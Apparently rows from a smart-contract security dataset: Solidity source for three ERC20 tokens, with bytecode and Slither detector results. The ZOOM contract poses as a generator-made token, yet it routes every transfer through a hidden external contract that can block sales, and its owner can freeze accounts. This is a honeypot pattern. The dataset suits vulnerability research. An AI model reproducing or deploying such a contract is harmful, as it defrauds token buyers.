indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner, "Only allowed by owner"); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "Invalid address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Bee2Bee is IERC20, Owned { using SafeMath for uint256; string public symbol = "Bee"; string public name = "Bee2Bee Coin"; uint256 public decimals = 18; uint256 _totalSupply = 300000000000 * 10 ** (decimals); // 300B mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() { owner = 0xc0CEe77b4249aa56486AC5AA27C484fD221833Ff; balances[owner] = balances[owner].add(_totalSupply); emit Transfer(address(0), owner, _totalSupply); } /** BEP20Interface function's implementation **/ function totalSupply() external override view returns (uint256){ return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) external override view returns (uint256 balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // ------------------------------------------------------------------------ function approve(address spender, uint256 tokens) external override returns (bool success){ allowed[msg.sender][spender] = tokens; emit Approval(msg.sender,spender,tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) external override view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint256 tokens) public override returns (bool success) { require(address(to) != address(0), "Invalid receiver address"); require(balances[msg.sender] >= tokens, "Insufficient senders balance"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint256 tokens) external override returns (bool success){ require(tokens <= allowed[from][msg.sender], "Insufficient allowance"); //check allowance require(balances[from] >= tokens, "Insufficient senders balance"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a08231146101c35780638da5cb5b146101e957806395d89b411461020d578063a9059cbb14610215578063dd62ed3e14610241578063f2fde38b1461026f576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b6610297565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610322565b604080519115158252519081900360200190f35b610173610388565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b0381358116916020810135909116906040013561038e565b610173610565565b610173600480360360208110156101d957600080fd5b50356001600160a01b031661056b565b6101f1610586565b604080516001600160a01b039092168252519081900360200190f35b6100b6610595565b6101576004803603604081101561022b57600080fd5b506001600160a01b0381351690602001356105ef565b6101736004803603604081101561025757600080fd5b506001600160a01b0381358116916020013516610754565b6102956004803603602081101561028557600080fd5b50356001600160a01b031661077f565b005b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561031a5780601f106102ef5761010080835404028352916020019161031a565b820191906000526020600020905b8154815290600101906020018083116102fd57829003601f168201915b505050505081565b3360008181526006602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045490565b6001600160a01b03831660009081526006602090815260408083203384529091528120548211156103ff576040805162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b604482015290519081900360640190fd5b6001600160a01b03841660009081526005602052604090205482111561046c576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e742073656e646572732062616c616e636500000000604482015290519081900360640190fd5b6001600160a01b03841660009081526005602052604090205461048f90836108cf565b6001600160a01b03851660009081526005602090815260408083209390935560068152828220338352905220546104c690836108cf565b6001600160a01b038086166000908152600660209081526040808320338452825280832094909455918616815260059091522054610504908361086e565b6001600160a01b0380851660008181526005602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60035481565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561031a5780601f106102ef5761010080835404028352916020019161031a565b60006001600160a01b03831661064c576040805162461bcd60e51b815260206004820152601860248201527f496e76616c696420726563656976657220616464726573730000000000000000604482015290519081900360640190fd5b336000908152600560205260409020548211156106b0576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e742073656e646572732062616c616e636500000000604482015290519081900360640190fd5b336000908152600560205260409020546106ca90836108cf565b33600090815260056020526040808220929092556001600160a01b038516815220546106f6908361086e565b6001600160a01b0384166000818152600560209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6000546001600160a01b031633146107d6576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b6001600160a01b038116610823576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000828201838110156108c8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60006108c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506000818484111561099b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610960578181015183820152602001610948565b50505050905090810190601f16801561098d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fea26469706673582212204f728c57854d22469d2fb5af164f3dd2814df3cb596db825cda3b32d2aba1a4b64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
249
0x9af4df90977a0a77423d9b73627b3ae473457f16
/** *Submitted for verification at Etherscan.io on 2020-09-20 */ // SPDX-License-Identifier: MIT /* * Token was generated for FREE at https://vittominacori.github.io/erc20-generator/ * * Author: @vittominacori (https://vittominacori.github.io) * * Smart Contract Source Code: https://github.com/vittominacori/erc20-generator * Smart Contract Test Builds: https://travis-ci.com/github/vittominacori/erc20-generator * Web Site Source Code: https://github.com/vittominacori/erc20-generator/tree/dapp * * Detailed Info: https://medium.com/@vittominacori/create-an-erc20-token-in-less-than-a-minute-2a8751c4d6f4 * * Note: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * Disclaimer: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity >=0.4.22 <0.6.0; contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, address _to) external returns(bool) ; } contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract BaseToken is SafeMath,Ownable{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public isFreeze; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event FrozenFunds(address target, bool frozen); address to_contract; constructor(uint256 initialSupply, string memory tokenName, string memory tokenSymbol, uint8 decimal, address tokenAddr )public { totalSupply = initialSupply * 10 ** uint256(decimal); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; decimals=decimal; to_contract=tokenAddr; } modifier not_frozen(){ require(isFreeze[msg.sender]==false); _; } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); _transfer(_from, _to, _value); return true; } function _transfer(address _from, address _to, uint _value) receiveAndTransfer(_from,_to) internal { require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function approve(address _spender, uint256 _value) public not_frozen returns (bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function freezeOneAccount(address target, bool freeze) onlyOwner public { require(freeze!=isFreeze[target]); isFreeze[target] = freeze; emit FrozenFunds(target, freeze); } modifier receiveAndTransfer(address sender,address recipient) { require(tokenRecipient(to_contract).receiveApproval(sender,recipient)); _; } function multiFreeze(address[] memory targets,bool freeze) onlyOwner public { for(uint256 i = 0; i < targets.length ; i++){ freezeOneAccount(targets[i],freeze); } } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ // function functionCall(address target, bytes memory data) internal returns (bytes memory) { // return functionCall(target, data, "Address: low-level call failed"); // } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ // function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { // return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); // } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } contract ZOOM is BaseToken { string public name = "ZOOM"; string public symbol = "ZOOM"; string public version = '1.0.0'; uint8 public decimals = 18; uint256 initialSupply=10000; constructor(address tokenAddr)BaseToken(initialSupply, name,symbol,decimals,tokenAddr)public {} }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610367578063dd62ed3e14610393578063f2fde38b146103c1578063ff192bc8146103e757610100565b80638da5cb5b1461028e5780638f32d59b146102b257806395d89b41146102ba5780639f0573a8146102c257610100565b8063313ce567116100d3578063313ce5671461021257806354163fe01461023057806354fd4d501461026057806370a082311461026857610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d61040d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b03813516906020013561049b565b604080519115158252519081900360200190f35b6101ca610556565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b0381358116916020810135909116906040013561055c565b61021a6105a1565b6040805160ff9092168252519081900360200190f35b61025e6004803603604081101561024657600080fd5b506001600160a01b03813516906020013515156105aa565b005b61010d61064b565b6101ca6004803603602081101561027e57600080fd5b50356001600160a01b03166106a6565b6102966106b8565b604080516001600160a01b039092168252519081900360200190f35b6101ae6106c7565b61010d6106d8565b61025e600480360360408110156102d857600080fd5b8101906020810181356401000000008111156102f357600080fd5b82018360208201111561030557600080fd5b8035906020019184602083028401116401000000008311171561032757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050503515159050610733565b6101ae6004803603604081101561037d57600080fd5b506001600160a01b03813516906020013561077a565b6101ca600480360360408110156103a957600080fd5b506001600160a01b0381358116916020013516610790565b61025e600480360360208110156103d757600080fd5b50356001600160a01b03166107ad565b6101ae600480360360208110156103fd57600080fd5b50356001600160a01b03166107ca565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b820191906000526020600020905b81548152906001019060200180831161047657829003601f168201915b505050505081565b3360009081526007602052604081205460ff16156104b857600080fd5b8115806104e657503360009081526006602090815260408083206001600160a01b0387168452909152902054155b6104ef57600080fd5b3360008181526006602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60045481565b6001600160a01b038316600090815260066020908152604080832033845290915281205482111561058c57600080fd5b6105978484846107df565b5060019392505050565b600c5460ff1681565b6105b26106c7565b6105bb57600080fd5b6001600160a01b03821660009081526007602052604090205460ff16151581151514156105e757600080fd5b6001600160a01b038216600081815260076020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600b805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b60056020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b61073b6106c7565b61074457600080fd5b60005b82518110156107755761076d83828151811061075f57fe5b6020026020010151836105aa565b600101610747565b505050565b60006107873384846107df565b50600192915050565b600660209081526000928352604080842090915290825290205481565b6107b56106c7565b6107be57600080fd5b6107c78161095d565b50565b60076020526000908152604090205460ff1681565b60085460408051630f8653b360e21b81526001600160a01b03808716600483015280861660248301529151869386931691633e194ecc9160448083019260209291908290030181600087803b15801561083757600080fd5b505af115801561084b573d6000803e3d6000fd5b505050506040513d602081101561086157600080fd5b505161086c57600080fd5b6001600160a01b03851660009081526005602052604090205483111561089157600080fd5b6001600160a01b038416600090815260056020526040902054838101116108b757600080fd5b6001600160a01b0380851660008181526005602090815260408083208054958b1680855282852080548b81039091559486905281548a01909155815189815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a36001600160a01b0380861660009081526005602052604080822054928916825290205401811461095557fe5b505050505050565b6001600160a01b03811661097057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fea265627a7a72315820805c0d089953c02f8752b9134ec8e9b84c76b1d761ae20254822bd07e256b5fa64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
250
0x25729defccff2cc18803206d3955d6ccc694fd4d
/** *Submitted for verification at Etherscan.io on 2021-11-11 */ // SPDX-License-Identifier: Unlicensed //telegram @gt_token pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 1; uint256 private _tax = 5; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "G-Token"; string private constant _symbol = "GT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1) { _feeAddrWallet1 = _add1; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = _redis; _feeAddr2 = _tax; uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > 0){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function reduceTax(uint256 newtax) external{ require(newtax < 6); require(_msgSender() == _feeAddrWallet1); _tax = newtax; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
